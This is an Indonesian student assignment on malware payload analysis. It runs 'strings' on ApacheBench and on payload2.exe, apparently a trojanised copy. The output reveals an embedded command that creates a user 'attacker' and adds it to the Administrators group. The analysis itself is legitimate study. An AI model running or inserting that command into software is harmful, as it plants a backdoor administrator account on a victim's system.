

**KEAMANAN JARINGAN KOMPUTER**  
**“Payload Malware”**



OLEH :

Saros Sakiyana

09011181320038

**JURUSAN SISTEM KOMPUTER**  
**FAKULTAS ILMU KOMPUTER**  
**UNIVERSITAS SRIWIJAYA**  
**2017**

String :

malware adalah suatu aktivitas yang kerap dilakukan oleh sejumlah praktisi keamanan teknologi informasi untuk mendeteksi ada atau tidaknya komponen sub-program atau data yang bertujuan jahat dalam sebuah file elektronik.

```
File Edit View Search Terminal Help
This is ApacheBench, Version %s
2.3 <${Revision: 655654 $}>
-h          Display usage information (this message)
-r          Don't exit on socket receive errors.
-e filename Output CSV file with percentages served
-g filename Output collected data to gnuplot format file.
-S         Do not show confidence estimators and warnings.
-d         Do not show percentiles served table.
-k         Use HTTP KeepAlive feature
-V         Print version number and exit
-X proxy:port Proxyserver and port number to use
-P attribute Add Basic Proxy Authentication, the attributes
           are a colon separated username and password.
-A attribute Add Basic WWW Authentication, the attributes
           Inserted after all normal header lines. (repeatable)
-H attribute Add Arbitrary header line, eg. 'Accept-Encoding: gzip'
-C attribute Add cookie, eg. 'Apache=1234. (repeatable)
-z attributes String to insert as td or th attributes
-y attributes String to insert as tr attributes
-x attributes String to insert as table attributes
-i         Use HEAD instead of GET
-w         Print out results in HTML tables
-v verbosity How much troubleshooting info to print
           Default is 'text/plain'
```

apacheBench adalah tool benchmark untuk http server

```
File Edit View Search Terminal Help
A new pool could not be created.
Unrecognized Win32 error code %d
CancelIo
GetCompressedFileSizeA
GetCompressedFileSizeW
ZwQueryInformationFile
GetSecurityInfo
GetNamedSecurityInfoA
GetNamedSecurityInfoW
GetEffectiveRightsFromAclW
ntdll.dll
shell32
ws2_32
mswsock
advapi32
kernel32
NB10
C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb
ndhh-Aspire-4250 tugas7 # strings payload2.exe
;}$u
D$$[[aYZQ
cmd.exe /c net user attacker Ganteng1 /ADD && net localgroup Administrators att
cker /ADD
ndhh-Aspire-4250 tugas7 #
```

Pada string payload2.exe adalah dari user admin membuat/ menambah user baru, kemudian user baru tersebut memiliki hak akses sebagai admin

